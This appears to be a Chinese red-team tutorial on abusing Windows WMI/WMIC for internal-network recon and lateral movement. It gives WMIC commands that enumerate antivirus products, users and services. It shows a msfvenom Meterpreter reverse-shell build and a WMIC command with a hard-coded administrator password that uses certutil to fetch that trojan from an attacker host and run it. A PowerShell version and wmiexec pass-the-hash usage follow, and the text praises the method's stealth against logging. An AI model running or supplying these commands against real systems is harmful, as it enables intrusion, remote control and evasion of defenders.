# 红队
# 红蓝对抗
# 内网攻防
WMI简介
WMI,全称Windows Management Instrumentation,是微软开发的一种用于管理Windows系统的工具。你可以把它想象成一个数据库工具,它存储了关于你的电脑的各种信息,比如系统、应用程序、网络和设备等。
WMI使用了一种特殊的方式来表示这些信息,叫做通用信息模(CIM)。通过这个模型,我们可以方便地从远程计算机获取管理数据,也就是说,你可以在自己的电脑上查看和管理其他电脑的信息。
此外,WMI还允许我们通过编程和脚本语言(比如VBScript和JScript)来编写管理任务的脚本和应用程序。这就意味着,通过简单的命令或脚本,我们就可以执行各种复杂的管理任务,比如查询系统信息、更改系统设置、管理服务和设备等。
利用WMIC进行信息收集
WMIC是Windows Management Instrumentation Commandline的简称,是WMI的命令行版本,WMIC允许用户通过简单的命令行指令来执行系统管理任务,如查询系统信息、更改系统设置、管理服务和设备等。
所以攻击者就可以利用WMIC进行内网的信息收集工作,例如:
wmic product get IdentifyingNumber, Name, Version, Vendor
可以获取到已安装的程序信息
获取硬盘的型号、容量和分区等信息:
wmic diskdrive get Model, Size, Partitions
回显杀毒软件名称:
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
我电脑有自己装的火绒和Windows Defender所以回显了这两个杀毒
软件名字。
回显杀毒软件安装路径:
WMIC /namespace:\\root\securitycenter2 path antivirusproduct get displayname,productstate,pathtosignedproductexe
获取操作系统信息:
wmic os get Caption, Version, OSArchitecture
还有其它的一些常用命令:
wmic computersystem get caption, domain //获取主机名和域名
wmic cpu get name, numberofcores, maxclockspeed, l2cache
size //获取CPU详细信息
wmic useraccount get name, type, disabled//获取当前用户和组
wmic localgroup get name, groupcategory, members//获取当前用户和组
wmic service get state, name, startmode, pathname, proces
sid //获取所有服务的状态
wmic nicconfig get macaddress, ipaddress //获取网络适配器的MAC地址和IP地址
WMIC远程获取shell
而前面也说了WMIC还有远程管理文件和操作计算机的功能,所以我们可以利用这一点去远程操纵计算机获取shell。
首先我们用Kali生成一个test的木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1909 -f exe >test.exe
然后python起一个监听8080端口,这样我们后续远程用8080端口去下载test.exe木马就能明显的看到效果。
然后用跳板机运行Wimc命令远程连接已知密码的目标机器
wmic /node:192.168.1.1 /user:Administrator /password:Password@test process call create "cmd.exe"
<remote_computer_name>
是要连接的远程计算机的名称或IP地址,<username>
是要使用的用户名,<password>
是对应的密码.
这段命令的作用就是远程连接到 <remote_computer_name>
计算机的 <username>
用户并且创建一个进程运行cmd.exe程序.
而下一步就是将shell下载到目标计算机,这一步中我们需要在新的进程中下载certutil.exe用于我们test.exe木马的安装,把这一步命令和前面连接计算机的命令结合就是:
wmic /node:192.168.1.1 /user:Administrator /password:Password@test
process call create "cmd.exe" /c certutil.exe -urlcache -f -split
http://192.168.1.2:8080/test.exe&&test.exe
把这一步写成powershell代码就是:
$ip = "192.168.1.1"
$username = "Administrator"
$password = "Password@test"
$url = "http://192.168.1.2:8080/test.exe"
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential ($username, $securePassword)
Invoke-Command -ComputerName $ip -Credential $credential -ScriptBlock {
cmd.exe /c "certutil.exe -urlcache -f -split $url"
}
Kali端成功回显并且在目标机中也发现test.exe文件.
值得注意的是这段命令中的test.exe&&test.exe中的&&
叫做谓词开关,我们可以在这里添加运行其它命令,例如写成:
/test.exe /nobreak && test.exe
/nobreak 是表示新进程完成后不要中断。
&& start test.exe 则表示在新进程执行完毕后启动test.exe程序。
利用WMI进行域横向
看完前面的操作相信师傅们也大致对WMI进行横向渗透也有了一定的思路。
Kali中提供了一个非常方便就能利用WMI进行横向渗透的工具,就是 wmiexec
用法也是非常简单,常用的两种为利用Hash或是和前面远程获取shell一样利用密码获取shell.
利用hash获取shell:
python3 wmiexec.py -hashes xxxxxxxxxx:xxxxxxxx Admin@192.168.1.1 "ipconfig"
利用密码getshell:
python3 wmiexec.py Admin:123456@192.168.1.1
其余的横向命令,理解WMIC命令后也是很简单,例如:
wmic /node:目标IP地址 /user:用户名 密码 /output:输出文件路径 systeminfo > 输出文件路径 //获取远程计算机的系统信息
wmic /node:目标IP地址 /user:用户名 密码 process get ProcessId,ProcessName,CommandLine > 输出文件路径 //获取远程计算机的进程信息
wmic /node:目标IP地址 /user:用户名 密码 service where "Name='服务名称'" call start > nul || wmic /node:目标IP地址 /user:用户名 密码 service where "Name='服务名称'" call stop > nul //启动或停止远程计算机上的服务
总结
实际上wmicexec进行横向渗透时,Windows操作系统默认不会将WMI的操作记录在日志中同时无需将wmicexec.py移动到目标机上,所以隐蔽性较高,因为WMI是Windows的管理工具,所以大多数基于Windows的软件都依赖于此服务,所以利用成功率是较高的,而缺点就是有时占用较大容易把系统搞崩再不济就是同样搞蓝屏。
标签:攻防,exe,get,获取,利用,WMI,wmic,test From: https://www.cnblogs.com/o-O-oO/p/18677836原创 Flowers aq flower安全